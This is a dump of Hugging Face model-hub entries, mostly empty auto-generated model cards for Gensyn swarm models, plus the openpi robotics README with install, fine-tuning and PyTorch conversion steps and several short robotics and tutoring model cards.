| 2025-09-23T11:51:07Z | 94 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen2",
"text-generation",
"rl-swarm",
"genrl-swarm",
"grpo",
"gensyn",
"I am shiny_hibernating_alpaca",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-22T01:29:07Z |
---
library_name: transformers
tags:
- rl-swarm
- genrl-swarm
- grpo
- gensyn
- I am shiny_hibernating_alpaca
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
rstudioModel/Desi_Mousumi_Roy_Flux1D_loras
|
rstudioModel
| 2025-09-23T11:51:03Z | 0 | 0 | null |
[
"license:apache-2.0",
"region:us"
] | null | 2025-09-19T16:31:06Z |
---
license: apache-2.0
---
|
phospho-app/gr00t-dataset_20250901_A-6eajrfbo7h
|
phospho-app
| 2025-09-23T11:49:57Z | 0 | 0 |
phosphobot
|
[
"phosphobot",
"safetensors",
"gr00t_n1_5",
"gr00t",
"robotics",
"dataset:sng319521/dataset_20250901_A",
"region:us"
] |
robotics
| 2025-09-23T10:45:03Z |
---
datasets: sng319521/dataset_20250901_A
library_name: phosphobot
pipeline_tag: robotics
model_name: gr00t
tags:
- phosphobot
- gr00t
task_categories:
- robotics
---
# gr00t model - 🧪 phosphobot training pipeline
- **Dataset**: [sng319521/dataset_20250901_A](https://huggingface.co/datasets/sng319521/dataset_20250901_A)
- **Wandb run id**: None
## This model was trained using **[🧪phospho](https://phospho.ai)**
Training was successful, try it out on your robot!
## Training parameters
```text
{
"validation_dataset_name": null,
"batch-size": 49,
"num-epochs": 10,
"save-steps": 1000,
"learning_rate": 0.0001,
"data_dir": "/tmp/outputs/data",
"validation_data_dir": "/tmp/outputs/validation_data",
"output_dir": "/tmp/outputs/train"
}
```
📖 **Get Started**: [docs.phospho.ai](https://docs.phospho.ai?utm_source=huggingface_readme)
🤖 **Get your robot**: [robots.phospho.ai](https://robots.phospho.ai?utm_source=huggingface_readme)
|
s3y/pi0
|
s3y
| 2025-09-23T11:49:48Z | 5 | 0 | null |
[
"safetensors",
"endpoints_compatible",
"region:us"
] | null | 2025-09-22T11:48:52Z |
# openpi
openpi holds open-source models and packages for robotics, published by the [Physical Intelligence team](https://www.physicalintelligence.company/).
Currently, this repo contains three types of models:
- the [π₀ model](https://www.physicalintelligence.company/blog/pi0), a flow-based vision-language-action model (VLA).
- the [π₀-FAST model](https://www.physicalintelligence.company/research/fast), an autoregressive VLA, based on the FAST action tokenizer.
- the [π₀.₅ model](https://www.physicalintelligence.company/blog/pi05), an upgraded version of π₀ with better open-world generalization trained with [knowledge insulation](https://www.physicalintelligence.company/research/knowledge_insulation). Note that, in this repository, we currently only support the flow matching head for both $\pi_{0.5}$ training and inference.
For all models, we provide _base model_ checkpoints, pre-trained on 10k+ hours of robot data, and examples for using them out of the box or fine-tuning them to your own datasets.
This is an experiment: $\pi_0$ was developed for our own robots, which differ from the widely used platforms such as [ALOHA](https://tonyzhaozh.github.io/aloha/) and [DROID](https://droid-dataset.github.io/), and though we are optimistic that researchers and practitioners will be able to run creative new experiments adapting $\pi_0$ to their own platforms, we do not expect every such attempt to be successful. All this is to say: $\pi_0$ may or may not work for you, but you are welcome to try it and see!
## Updates
- [Sept 2025] We released PyTorch support in openpi.
- [Sept 2025] We released pi05, an upgraded version of pi0 with better open-world generalization.
- [Sept 2025]: We have added an [improved idle filter](examples/droid/README_train.md#data-filtering) for DROID training.
- [Jun 2025]: We have added [instructions](examples/droid/README_train.md) for using `openpi` to train VLAs on the full [DROID dataset](https://droid-dataset.github.io/). This is an approximate open-source implementation of the training pipeline used to train pi0-FAST-DROID.
## Requirements
To run the models in this repository, you will need an NVIDIA GPU with at least the following specifications. These estimations assume a single GPU, but you can also use multiple GPUs with model parallelism to reduce per-GPU memory requirements by configuring `fsdp_devices` in the training config. Please also note that the current training script does not yet support multi-node training.
| Mode | Memory Required | Example GPU |
| ------------------ | --------------- | ------------------ |
| Inference | > 8 GB | RTX 4090 |
| Fine-Tuning (LoRA) | > 22.5 GB | RTX 4090 |
| Fine-Tuning (Full) | > 70 GB | A100 (80GB) / H100 |
The repo has been tested with Ubuntu 22.04, we do not currently support other operating systems.
## Installation
When cloning this repo, make sure to update submodules:
```bash
git clone --recurse-submodules [email protected]:Physical-Intelligence/openpi.git
# Or if you already cloned the repo:
git submodule update --init --recursive
```
We use [uv](https://docs.astral.sh/uv/) to manage Python dependencies. See the [uv installation instructions](https://docs.astral.sh/uv/getting-started/installation/) to set it up. Once uv is installed, run the following to set up the environment:
```bash
GIT_LFS_SKIP_SMUDGE=1 uv sync
GIT_LFS_SKIP_SMUDGE=1 uv pip install -e .
```
NOTE: `GIT_LFS_SKIP_SMUDGE=1` is needed to pull LeRobot as a dependency.
**Docker**: As an alternative to uv installation, we provide instructions for installing openpi using Docker. If you encounter issues with your system setup, consider using Docker to simplify installation. See [Docker Setup](docs/docker.md) for more details.
## Model Checkpoints
### Base Models
We provide multiple base VLA model checkpoints. These checkpoints have been pre-trained on 10k+ hours of robot data, and can be used for fine-tuning.
| Model | Use Case | Description | Checkpoint Path |
| ------------ | ----------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------- |
| $\pi_0$ | Fine-Tuning | Base [π₀ model](https://www.physicalintelligence.company/blog/pi0) for fine-tuning | `gs://openpi-assets/checkpoints/pi0_base` |
| $\pi_0$-FAST | Fine-Tuning | Base autoregressive [π₀-FAST model](https://www.physicalintelligence.company/research/fast) for fine-tuning | `gs://openpi-assets/checkpoints/pi0_fast_base` |
| $\pi_{0.5}$ | Fine-Tuning | Base [π₀.₅ model](https://www.physicalintelligence.company/blog/pi05) for fine-tuning | `gs://openpi-assets/checkpoints/pi05_base` |
### Fine-Tuned Models
We also provide "expert" checkpoints for various robot platforms and tasks. These models are fine-tuned from the base models above and intended to run directly on the target robot. These may or may not work on your particular robot. Since these checkpoints were fine-tuned on relatively small datasets collected with more widely available robots, such as ALOHA and the DROID Franka setup, they might not generalize to your particular setup, though we found some of these, especially the DROID checkpoint, to generalize quite broadly in practice.
| Model | Use Case | Description | Checkpoint Path |
| ------------------------ | ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------- |
| $\pi_0$-FAST-DROID | Inference | $\pi_0$-FAST model fine-tuned on the [DROID dataset](https://droid-dataset.github.io/): can perform a wide range of simple table-top manipulation tasks 0-shot in new scenes on the DROID robot platform | `gs://openpi-assets/checkpoints/pi0_fast_droid` |
| $\pi_0$-DROID | Fine-Tuning | $\pi_0$ model fine-tuned on the [DROID dataset](https://droid-dataset.github.io/): faster inference than $\pi_0$-FAST-DROID, but may not follow language commands as well | `gs://openpi-assets/checkpoints/pi0_droid` |
| $\pi_0$-ALOHA-towel | Inference | $\pi_0$ model fine-tuned on internal [ALOHA](https://tonyzhaozh.github.io/aloha/) data: can fold diverse towels 0-shot on ALOHA robot platforms | `gs://openpi-assets/checkpoints/pi0_aloha_towel` |
| $\pi_0$-ALOHA-tupperware | Inference | $\pi_0$ model fine-tuned on internal [ALOHA](https://tonyzhaozh.github.io/aloha/) data: can unpack food from a tupperware container | `gs://openpi-assets/checkpoints/pi0_aloha_tupperware` |
| $\pi_0$-ALOHA-pen-uncap | Inference | $\pi_0$ model fine-tuned on public [ALOHA](https://dit-policy.github.io/) data: can uncap a pen | `gs://openpi-assets/checkpoints/pi0_aloha_pen_uncap` |
| $\pi_{0.5}$-LIBERO | Inference | $\pi_{0.5}$ model fine-tuned for the [LIBERO](https://libero-project.github.io/datasets) benchmark: gets state-of-the-art performance (see [LIBERO README](examples/libero/README.md)) | `gs://openpi-assets/checkpoints/pi05_libero` |
| $\pi_{0.5}$-DROID | Inference / Fine-Tuning | $\pi_{0.5}$ model fine-tuned on the [DROID dataset](https://droid-dataset.github.io/) with [knowledge insulation](https://www.physicalintelligence.company/research/knowledge_insulation): fast inference and good language-following | `gs://openpi-assets/checkpoints/pi05_droid` |
By default, checkpoints are automatically downloaded from `gs://openpi-assets` and are cached in `~/.cache/openpi` when needed. You can overwrite the download path by setting the `OPENPI_DATA_HOME` environment variable.
## Running Inference for a Pre-Trained Model
Our pre-trained model checkpoints can be run with a few lines of code (here our $\pi_0$-FAST-DROID model):
```python
from openpi.training import config as _config
from openpi.policies import policy_config
from openpi.shared import download
config = _config.get_config("pi05_droid")
checkpoint_dir = download.maybe_download("gs://openpi-assets/checkpoints/pi05_droid")
# Create a trained policy.
policy = policy_config.create_trained_policy(config, checkpoint_dir)
# Run inference on a dummy example.
example = {
"observation/exterior_image_1_left": ...,
"observation/wrist_image_left": ...,
...
"prompt": "pick up the fork"
}
action_chunk = policy.infer(example)["actions"]
```
You can also test this out in the [example notebook](examples/inference.ipynb).
We provide detailed step-by-step examples for running inference of our pre-trained checkpoints on [DROID](examples/droid/README.md) and [ALOHA](examples/aloha_real/README.md) robots.
**Remote Inference**: We provide [examples and code](docs/remote_inference.md) for running inference of our models **remotely**: the model can run on a different server and stream actions to the robot via a websocket connection. This makes it easy to use more powerful GPUs off-robot and keep robot and policy environments separate.
**Test inference without a robot**: We provide a [script](examples/simple_client/README.md) for testing inference without a robot. This script will generate a random observation and run inference with the model. See [here](examples/simple_client/README.md) for more details.
## Fine-Tuning Base Models on Your Own Data
We will fine-tune the $\pi_{0.5}$ model on the [LIBERO dataset](https://libero-project.github.io/datasets) as a running example for how to fine-tune a base model on your own data. We will explain three steps:
1. Convert your data to a LeRobot dataset (which we use for training)
2. Defining training configs and running training
3. Spinning up a policy server and running inference
### 1. Convert your data to a LeRobot dataset
We provide a minimal example script for converting LIBERO data to a LeRobot dataset in [`examples/libero/convert_libero_data_to_lerobot.py`](examples/libero/convert_libero_data_to_lerobot.py). You can easily modify it to convert your own data! You can download the raw LIBERO dataset from [here](https://huggingface.co/datasets/openvla/modified_libero_rlds), and run the script with:
```bash
uv run examples/libero/convert_libero_data_to_lerobot.py --data_dir /path/to/your/libero/data
```
**Note:** If you just want to fine-tune on LIBERO, you can skip this step, because our LIBERO fine-tuning configs point to a pre-converted LIBERO dataset. This step is merely an example that you can adapt to your own data.
### 2. Defining training configs and running training
To fine-tune a base model on your own data, you need to define configs for data processing and training. We provide example configs with detailed comments for LIBERO below, which you can modify for your own dataset:
- [`LiberoInputs` and `LiberoOutputs`](src/openpi/policies/libero_policy.py): Defines the data mapping from the LIBERO environment to the model and vice versa. Will be used for both, training and inference.
- [`LeRobotLiberoDataConfig`](src/openpi/training/config.py): Defines how to process raw LIBERO data from LeRobot dataset for training.
- [`TrainConfig`](src/openpi/training/config.py): Defines fine-tuning hyperparameters, data config, and weight loader.
We provide example fine-tuning configs for [π₀](src/openpi/training/config.py), [π₀-FAST](src/openpi/training/config.py), and [π₀.₅](src/openpi/training/config.py) on LIBERO data.
Before we can run training, we need to compute the normalization statistics for the training data. Run the script below with the name of your training config:
```bash
uv run scripts/compute_norm_stats.py --config-name pi05_libero
```
Now we can kick off training with the following command (the `--overwrite` flag is used to overwrite existing checkpoints if you rerun fine-tuning with the same config):
```bash
XLA_PYTHON_CLIENT_MEM_FRACTION=0.9 uv run scripts/train.py pi05_libero --exp-name=my_experiment --overwrite
```
The command will log training progress to the console and save checkpoints to the `checkpoints` directory. You can also monitor training progress on the Weights & Biases dashboard. For maximally using the GPU memory, set `XLA_PYTHON_CLIENT_MEM_FRACTION=0.9` before running training -- this enables JAX to use up to 90% of the GPU memory (vs. the default of 75%).
**Note:** We provide functionality for *reloading* normalization statistics for state / action normalization from pre-training. This can be beneficial if you are fine-tuning to a new task on a robot that was part of our pre-training mixture. For more details on how to reload normalization statistics, see the [norm_stats.md](docs/norm_stats.md) file.
### 3. Spinning up a policy server and running inference
Once training is complete, we can run inference by spinning up a policy server and then querying it from a LIBERO evaluation script. Launching a model server is easy (we use the checkpoint for iteration 20,000 for this example, modify as needed):
```bash
uv run scripts/serve_policy.py policy:checkpoint --policy.config=pi05_libero --policy.dir=checkpoints/pi05_libero/my_experiment/20000
```
This will spin up a server that listens on port 8000 and waits for observations to be sent to it. We can then run an evaluation script (or robot runtime) that queries the server.
For running the LIBERO eval in particular, we provide (and recommend using) a Dockerized workflow that handles both the policy server and the evaluation script together. See the [LIBERO README](examples/libero/README.md) for more details.
If you want to embed a policy server call in your own robot runtime, we have a minimal example of how to do so in the [remote inference docs](docs/remote_inference.md).
### More Examples
We provide more examples for how to fine-tune and run inference with our models on the ALOHA platform in the following READMEs:
- [ALOHA Simulator](examples/aloha_sim)
- [ALOHA Real](examples/aloha_real)
- [UR5](examples/ur5)
## PyTorch Support
openpi now provides PyTorch implementations of π₀ and π₀.₅ models alongside the original JAX versions! The PyTorch implementation has been validated on the LIBERO benchmark (both inference and finetuning). A few features are currently not supported (this may change in the future):
- The π₀-FAST model
- Mixed precision training
- FSDP (fully-sharded data parallelism) training
- LoRA (low-rank adaptation) training
- EMA (exponential moving average) weights during training
### Setup
1. Make sure that you have the latest version of all dependencies installed: `uv sync`
2. Double check that you have transformers 4.53.2 installed: `uv pip show transformers`
3. Apply the transformers library patches:
```bash
cp -r ./src/openpi/models_pytorch/transformers_replace/* .venv/lib/python3.11/site-packages/transformers/
```
This overwrites several files in the transformers library with necessary model changes: 1) supporting AdaRMS, 2) correctly controlling the precision of activations, and 3) allowing the KV cache to be used without being updated.
**WARNING**: With the default uv link mode (hardlink), this will permanently affect the transformers library in your uv cache, meaning the changes will survive reinstallations of transformers and could even propagate to other projects that use transformers. To fully undo this operation, you must run `uv cache clean transformers`.
### Converting JAX Models to PyTorch
To convert a JAX model checkpoint to PyTorch format:
```bash
uv run examples/convert_jax_model_to_pytorch.py \
--checkpoint_dir /path/to/jax/checkpoint \
--config_name <config name> \
--output_path /path/to/converted/pytorch/checkpoint
```
### Running Inference with PyTorch
The PyTorch implementation uses the same API as the JAX version - you only need to change the checkpoint path to point to the converted PyTorch model:
```python
from openpi.training import config as _config
from openpi.policies import policy_config
from openpi.shared import download
config = _config.get_config("pi05_droid")
checkpoint_dir = "/path/to/converted/pytorch/checkpoint"
# Create a trained policy (automatically detects PyTorch format)
policy = policy_config.create_trained_policy(config, checkpoint_dir)
# Run inference (same API as JAX)
action_chunk = policy.infer(example)["actions"]
```
### Policy Server with PyTorch
The policy server works identically with PyTorch models - just point to the converted checkpoint directory:
```bash
uv run scripts/serve_policy.py policy:checkpoint \
--policy.config=pi05_droid \
--policy.dir=/path/to/converted/pytorch/checkpoint
```
### Finetuning with PyTorch
To finetune a model in PyTorch:
1. Convert the JAX base model to PyTorch format:
```bash
uv run examples/convert_jax_model_to_pytorch.py \
--config_name <config name> \
--checkpoint_dir /path/to/jax/base/model \
--output_path /path/to/pytorch/base/model
```
2. Specify the converted PyTorch model path in your config using `pytorch_weight_path`
3. Launch training using one of these modes:
```bash
# Single GPU training:
uv run scripts/train_pytorch.py <config_name> --exp_name <run_name> --save_interval <interval>
# Example:
uv run scripts/train_pytorch.py debug --exp_name pytorch_test
uv run scripts/train_pytorch.py debug --exp_name pytorch_test --resume # Resume from latest checkpoint
# Multi-GPU training (single node):
uv run torchrun --standalone --nnodes=1 --nproc_per_node=<num_gpus> scripts/train_pytorch.py <config_name> --exp_name <run_name>
# Example:
uv run torchrun --standalone --nnodes=1 --nproc_per_node=2 scripts/train_pytorch.py pi0_aloha_sim --exp_name pytorch_ddp_test
uv run torchrun --standalone --nnodes=1 --nproc_per_node=2 scripts/train_pytorch.py pi0_aloha_sim --exp_name pytorch_ddp_test --resume
# Multi-Node Training:
uv run torchrun \
--nnodes=<num_nodes> \
--nproc_per_node=<gpus_per_node> \
--node_rank=<rank_of_node> \
--master_addr=<master_ip> \
--master_port=<port> \
scripts/train_pytorch.py <config_name> --exp_name=<run_name> --save_interval <interval>
```
### Precision Settings
JAX and PyTorch implementations handle precision as follows:
**JAX:**
1. Inference: most weights and computations in bfloat16, with a few computations in float32 for stability
2. Training: defaults to mixed precision: weights and gradients in float32, (most) activations and computations in bfloat16. You can change to full float32 training by setting `dtype` to float32 in the config.
**PyTorch:**
1. Inference: matches JAX -- most weights and computations in bfloat16, with a few weights converted to float32 for stability
2. Training: supports either full bfloat16 (default) or full float32. You can change it by setting `pytorch_training_precision` in the config. bfloat16 uses less memory but exhibits higher losses compared to float32. Mixed precision is not yet supported.
With torch.compile, inference speed is comparable between JAX and PyTorch.
## Troubleshooting
We will collect common issues and their solutions here. If you encounter an issue, please check here first. If you can't find a solution, please file an issue on the repo (see [here](CONTRIBUTING.md) for guidelines).
| Issue | Resolution |
| ----------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `uv sync` fails with dependency conflicts | Try removing the virtual environment directory (`rm -rf .venv`) and running `uv sync` again. If issues persist, check that you have the latest version of `uv` installed (`uv self update`). |
| Training runs out of GPU memory | Make sure you set `XLA_PYTHON_CLIENT_MEM_FRACTION=0.9` (or higher) before running training to allow JAX to use more GPU memory. You can also use `--fsdp-devices <n>` where `<n>` is your number of GPUs, to enable [fully-sharded data parallelism](https://engineering.fb.com/2021/07/15/open-source/fsdp/), which reduces memory usage in exchange for slower training (the amount of slowdown depends on your particular setup). If you are still running out of memory, you may way to consider disabling EMA. |
| Policy server connection errors | Check that the server is running and listening on the expected port. Verify network connectivity and firewall settings between client and server. |
| Missing norm stats error when training | Run `scripts/compute_norm_stats.py` with your config name before starting training. |
| Dataset download fails | Check your internet connection. For HuggingFace datasets, ensure you're logged in (`huggingface-cli login`). |
| CUDA/GPU errors | Verify NVIDIA drivers are installed correctly. For Docker, ensure nvidia-container-toolkit is installed. Check GPU compatibility. You do NOT need CUDA libraries installed at a system level --- they will be installed via uv. You may even want to try *uninstalling* system CUDA libraries if you run into CUDA issues, since system libraries can sometimes cause conflicts. |
| Import errors when running examples | Make sure you've installed all dependencies with `uv sync`. Some examples may have additional requirements listed in their READMEs. |
| Action dimensions mismatch | Verify your data processing transforms match the expected input/output dimensions of your robot. Check the action space definitions in your policy classes. |
| Diverging training loss | Check the `q01`, `q99`, and `std` values in `norm_stats.json` for your dataset. Certain dimensions that are rarely used can end up with very small `q01`, `q99`, or `std` values, leading to huge states and actions after normalization. You can manually adjust the norm stats as a workaround. |
|
12lgn/Qwen3-0.6B-Base-Gensyn-Swarm-placid_soft_caribou
|
12lgn
| 2025-09-23T11:49:14Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen3",
"text-generation",
"rl-swarm",
"genrl-swarm",
"grpo",
"gensyn",
"I am placid_soft_caribou",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T11:03:02Z |
---
library_name: transformers
tags:
- rl-swarm
- genrl-swarm
- grpo
- gensyn
- I am placid_soft_caribou
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
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## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
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[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
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[More Information Needed]
#### Metrics
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[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
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## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
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## Model Card Contact
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|
tomal66/qwen2.5-1.5b-SentNoB-fpt-sft
|
tomal66
| 2025-09-23T11:47:43Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"arxiv:1910.09700",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T11:47:34Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
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|
icyBear02/feynman
|
icyBear02
| 2025-09-23T11:44:32Z | 0 | 0 | null |
[
"safetensors",
"llama",
"4-bit",
"bitsandbytes",
"region:us"
] | null | 2025-09-23T11:08:37Z |
# Feynman Technique AI Tutor
Fine-tuned language model using PEFT (LoRA) for educational purposes.
Base model: NousResearch/Nous-Hermes-llama-2-7b
Training examples: 2000
Usage Examples:
- Explain quantum mechanics in simple terms
- Help me identify gaps in my explanation of photosynthesis
- Give a real-world example of supply and demand
- Improve my academic writing about cell division
|
poolkiltzn/blockassist-bc-vigilant_alert_tuna_1758627671
|
poolkiltzn
| 2025-09-23T11:42:43Z | 0 | 0 | null |
[
"gensyn",
"blockassist",
"gensyn-blockassist",
"minecraft",
"vigilant alert tuna",
"arxiv:2504.07091",
"region:us"
] | null | 2025-09-23T11:42:11Z |
---
tags:
- gensyn
- blockassist
- gensyn-blockassist
- minecraft
- vigilant alert tuna
---
# Gensyn BlockAssist
Gensyn's BlockAssist is a distributed extension of the paper [AssistanceZero: Scalably Solving Assistance Games](https://arxiv.org/abs/2504.07091).
|
f1663247/webshop-20
|
f1663247
| 2025-09-23T11:39:15Z | 0 | 0 | null |
[
"safetensors",
"qwen2",
"region:us"
] | null | 2025-09-23T09:53:31Z |
# Converted checkpoint
This folder contains a merged Hugging Face model exported from RL checkpoints.
- Format: safetensors
- File: model.safetensors
|
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